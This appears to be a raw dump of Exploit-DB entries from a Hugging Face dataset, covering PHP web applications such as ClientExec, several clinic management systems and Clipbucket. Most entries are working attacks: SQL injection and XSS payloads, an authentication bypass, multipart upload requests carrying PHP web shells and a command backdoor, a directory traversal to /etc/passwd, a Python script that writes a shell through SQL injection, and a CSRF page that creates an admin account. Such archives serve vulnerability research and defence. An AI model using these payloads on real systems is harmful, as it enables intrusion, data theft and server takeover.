deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30053
Description: ClientExec 3.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-05-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/24061/info

ClientExec is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ClientExec 3.0.0 beta2 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?ticketID=[xss]
http://www.example.com/[path]/index.php?view=[xss]
http://www.example.com/[path]/index.php?fuse=[xss]
Exploit-DB #28057
Description: Cline Communications - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-06-17
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/18491/info

Cline Communications is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/staff_photo_enlarged.php?Staff_ID=-1+union+select+1,2,3,4,5,6+from+Staff
http://www.example.com/photo_enlarged.php?Photo_ID=-1+union+select+1,2,3,4,5,6,7,8,9,1+from+PHOTO
http://www.example.com/newsdetail.php?NID=-1+union+select+1,2,3,4,5+from+News
http://www.example.com/newsdetail.php?NID=-1+union+select+News_date,news_id,3,news_date,5+from+News
Exploit-DB #40093
Description: Clinic Management System - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-07-11
Author: Yakir Wizman

Exploit:
####
# Vulnerability Title 	: Clinic Management System Unauthenticated Blind SQL Injection (apointment.php age) Vulnerability 
# Date 			: 11/07/2016
# Exploit Author 	: Yakir Wizman
# Vendor Homepage 	: http://rexbd.net/software/clinic-management-system
# Version		: All Versions
# Tested on		: Apache | PHP 5.5.36 | MySQL 5.6.30
####

####
# Vendor Software Description:
# Clinico – Clinic Management System is powerful, flexible, and easy to use responsive platform.
# The system has control for all system modules thats enables you to develop your organization billing system and improve its effectiveness and quality.
####

# No authentication (login) is required to exploit this vulnerability.
# Blind SQL Injection Proof-Of-Concept (Using SQLMap)
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# URL example	: http://server/apointment.php
#
# Page		: apointment.php
# Parameter	: age (POST)
#    Type	: AND/OR time-based blind
#    Title	: MySQL >= 5.0.12 AND time-based blind
#    Payload	: ame=Test&age=24’ AND SLEEP(5) AND 'dQNv'='dQNv&sex=on&mobile=+972-50-7655443&email=test@gmail.com&date=07/12/2016&btext=Test
# 
####
Exploit-DB #48547
Description: Clinic Management System 1.0 - Authenticated Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-06-04
Author: BKpatron

Exploit:
# Exploit Title: Clinic Management System 1.0 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-06-02
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability:
Clinic Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution
(RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file.
# vulnerable file : manage_website.php
# Details:
login to website as patient then access the 'localhost/source%20code/manage_website.php' page, as it does not check for an admin user.
change website logo and upload your malicious php file(<?php echo shell_exec($_GET["cmd"]); ?>). if you see this message "Something Went Wrong" You have successfully uploaded the malicious php file.
path of your file: http://localhost/source%20code/uploadImage/Logo/your_file.php

# Proof of Concept:
http://localhost/source%20code/manage_website.php

POST /source%20code/manage_website.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]13366
Content-Length: 2539
Referer: http://localhost/source%20code/manage_website.php
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
----------------------------[PII_REDACTED]4332: undefined
Content-Disposition: form-data; name="title"

----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="short_title"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="footer"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="currency_code"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="currency_symbol"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="old_website_image"

logo for hospital system.jpg
----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="website_image"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET["cmd"]); ?>
Exploit-DB #48538
Description: Clinic Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-06-02
Author: BKpatron

Exploit:
# Exploit Title: Clinic Management System 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-06-02
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/source%20code/login.php

POST /source%20code/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Referer: http://localhost/source%20code/login.php
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
user=admin&email=%27%3D%27%27or%27&[CREDENTIAL_REDACTED]_login=: undefined

HTTP/1.1 200 OK
Date: Mon, 01 Jun 2020 19:52:17 GMT
Server: Apache/2.4.39 (Win64) PHP/7.2.18
X-Powered-By: PHP/7.2.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4726
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #48544
Description: Clinic Management System 1.0 - Unauthenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2020-06-04
Author: BKpatron

Exploit:
# Exploit Title: Clinic Management System 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-06-02
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability:
Clinic Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution
(RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file.
# vulnerable file : manage_website.php
# Details:
login to website as patient then access the 'localhost/source%20code/manage_website.php' page, as it does not check for an admin user.
change website logo and upload your malicious php file(<?php echo shell_exec($_GET["cmd"]); ?>). if you see this message "Something Went Wrong" You have successfully uploaded the malicious php file.
path of your file: http://localhost/source%20code/uploadImage/Logo/your_file.php

# Proof of Concept:
http://localhost/source%20code/manage_website.php

POST /source%20code/manage_website.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]13366
Content-Length: 2539
Referer: http://localhost/source%20code/manage_website.php
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
----------------------------[PII_REDACTED]4332: undefined
Content-Disposition: form-data; name="title"

----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="short_title"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="footer"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="currency_code"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="currency_symbol"


----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="old_website_image"

logo for hospital system.jpg
----------------------------[PII_REDACTED]4332
Content-Disposition: form-data; name="website_image"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET["cmd"]); ?>
Exploit-DB #46642
Description: Clinic Pro v4 - 'month' SQL Injection
Type: webapps
Platform: php
Date: 2019-04-03
Author: Abdullah Çelebi

Exploit:
# Title: Clinic Pro - Clinic Management Software
# Date: 03.04.2019
# Exploit Author: Abdullah Çelebi
# Vendor Homepage: https://softwebinternational.com
# Software Link: https://cms.softwebinternational.com
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
It is developed by PHP Codeigniter Framework with HMVC Pattern. Clinic
system can be easily configured and fully automated as per clinic
requirement using this Automation Software.

# Vulnerabilities:
# An attacker can access all data following an authorized user login using
the parameter.


# POC - SQLi :

# Parameter: month (POST)
# Request URL: http://localhost/welcome/monthly_expense_overview
#    Type : boolean-based blind
month=06%' RLIKE (SELECT (CASE WHEN (9435=9435) THEN 06 ELSE 0x28 END)) AND
'%'='

#    Type : time-based blind
month=06%' AND 4514=BENCHMARK(5000000,MD5(0x436d7970)) AND '%'='

#    Type : error-based
month=06%' AND EXTRACTVALUE(2633,CONCAT(0x5c,0x[PII_REDACTED],(SELECT
(ELT(2633=2633,1))),0x[PII_REDACTED])) AND '%'='
Exploit-DB #51779
Description: Clinic's Patient Management System 1.0 - Unauthenticated RCE
Type: webapps
Platform: php
Date: 2024-02-05
Author: Oğulcan Hami Gül

Exploit:
# Exploit Title: Clinic's Patient Management System 1.0 - Unauthenticated RCE
# Date: 07.10.2023
# Exploit Author: Oğulcan Hami Gül
# Vendor Homepage: https://www.sourcecodester.com/php-clinics-patient-management-system-source-code
# Software Link: https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10

## Unauthenticated users can access /pms/users.php address and they can upload malicious php file instead of profile picture image without any authentication.

POST /pms/users.php HTTP/1.1

Host: 192.168.1.36

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]596452367

Content-Length: 1054

Origin: http://192.168.1.36

Connection: close

Referer: http://192.168.1.36/pms/users.php

Upgrade-Insecure-Requests: 1



----------------------------[PII_REDACTED][PII_REDACTED]596452367

Content-Disposition: form-data; name="display_name"



sefa7

----------------------------[PII_REDACTED][PII_REDACTED]596452367

Content-Disposition: form-data; name="user_name"



sefa7

----------------------------[PII_REDACTED][PII_REDACTED]596452367

Content-Disposition: form-data; name="password"



sefa7

----------------------------[PII_REDACTED][PII_REDACTED]596452367

Content-Disposition: form-data; name="profile_picture"; filename="simple-backdoor.php"

Content-Type: application/x-php



<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->


----------------------------[PII_REDACTED][PII_REDACTED]596452367

Content-Disposition: form-data; name="save_user"





----------------------------[PII_REDACTED][PII_REDACTED]596452367--


## After the file upload request sent by attacker, Application adds a random number to the beginning of the file to be uploaded. Malicious file can be seen under the path /pms/users.php without any authentication.

## With the request http://192.168.1.36/pms/user_images/[PII_REDACTED]simple-backdoor.php?cmd=whoami the attacker can execute arbitrary command on the application server.
Exploit-DB #12383
Description: clipak - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : clipak Upload Vulnerability
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Upload                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- http://127.0.0.1/clipak/admin/upload.php (2 Upload)
 
 2- http://127.0.0.1/clipak/files (2 find)
 
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #32802
Description: Clipbucket 1.7 - 'dwnld.php' Directory Traversal
Type: webapps
Platform: php
Date: 2009-02-16
Author: JIKO

Exploit:
source: https://www.securityfocus.com/bid/33781/info

ClipBucket is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

ClipBucket 1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/dwnld.php?file=../../../../etc/passwd
Exploit-DB #34694
Description: Clipbucket 1.7.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-07-24
Author: Qabandi

Exploit:
source: https://www.securityfocus.com/bid/43383/info

ClipBucket is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ClipBucket 1.7.1 is vulnerable; other versions may be affected.


The following example data is available:

userid=q' or 1='1
username=q' or 1='1
session=q' or 1='1
Exploit-DB #17325
Description: Clipbucket 2.4 RC2 645 - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-26
Author: AutoSec Tools

Exploit:
# ------------------------------------------------------------------------
# Software................Clipbucket 2.4 RC2 645
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.clip-bucket.com/
# Discovery Date..........5/23/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A sql injection vulnerability in Clipbucket 2.4 RC2 645 can be
# exploited to extract arbitrary data. In some environments it may be
# possible to create a PHP shell.
# 
# 
# --PoC--

import socket

host = 'localhost'
path = '/clipbucket'
shell_path = '/shell.php'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/includes/common.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 0\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Cookie: cb_lang=\'and%201=0%20UNION%20SELECT%20\'%3C?php%20echo%20system($_GET[%22CMD%22])%3b%20?%3E\',\'\',\'\',\'\',\'\',\'\'%20FROM%20dual%20INTO%20OUTFILE%20\'../../htdocs/shell.php\'%3b%23; sess_salt=1testab\'testxy\r\n'
           'Accept: text/html\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n')

    resp = s.recv(8192)

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
           'Host: ' + host + '\r\n\r\n')

    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'        
    else: print 'shell located at http://' + host + shell_path

upload_shell()
Exploit-DB #20708
Description: Clipbucket 2.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-08-21
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: ClipBucket
# Version: 2.5 (and maybe older versions)
# Vendor Site: http://clip-bucket.com/
# Software Download: http://sourceforge.net/projects/clipbucket/

# Software description:
# ClipBucket is an OpenSource Multimedia Management Script Provided Free to the Community.This script comes with all
# the bells & whistles required to start your own Video Sharing website like Youtube, Metacafe, Veoh, Hulu or any
# other top video distribution application in matter of minutes. ClipBucket is fastest growing script which was
# first started as Youtube Clone but now its advance features & enhancements makes it the most versatile, reliable &
# scalable media distribution platform with latest social networking features, while staying light on your pockets.
# Whether you are a small fan club or a big Multi Tier Network operator, Clipbucket will fulfill your video
# management needs.
 
# Vulnerability:
# Blind SQLi
# Due to improperly sanitized user input a SQL Injection is present in the "Forgot Password" page.

# PoC:
# Page: http://<server>/forgot.php
# Field: Username
# Payload: -1' or sleep(5) and '1'='1

# Host: 172.16.194.148
# User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20100101 Firefox/14.0.1
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-us,en;q=0.5
# Accept-Encoding: gzip, deflate
# DNT: 1
# Connection: keep-alive
# Referer: http://172.16.194.148/upload/forgot.php
# Cookie: quick_list_box=show; current_style=list_view; sess_salt=5f3f5; fws_guest=81172578; sk-id=-305383665; PHPSESSID=0c1519dace9f217955cdc58ac55b28b2
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 68

# forgot_username=-1%27+or+sleep%285%29+and+%271%27%3D%271&reset=Reset
Exploit-DB #20666
Description: Clipbucket 2.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-20
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: ClipBucket 2.5 CSRF Vulnerability
[~] Author: DaOne [LCA]
[~] Date: 15/8/2012
[~] Software Link: http://clip-bucket.com/
[~] Or: http://sourceforge.net/projects/clipbucket/
##########################################

[#] [ CSRF Add Admin ]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/admin_area/add_member.php">
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="email" value="admin@email.com"/>
<input type="hidden" name="password" value="pass123"/>
<input type="hidden" name="cpassword" value="pass123"/>
<input type="hidden" name="country" value="CA"/>
<input type="hidden" name="gender" value="Male"/>
<input type="hidden" name="dob" value="1989-10-14"/>
<input type="hidden" name="category" value="1"/>
<input type="hidden" name="level" value="1"/>
<input type="hidden" name="active" value="Ok"/>
<input type="hidden" name="add_member" value="Add Member"/>
</form>
</body>
</html>

##########################################
[*] thanks to : * Ly.Lolsec *
##########################################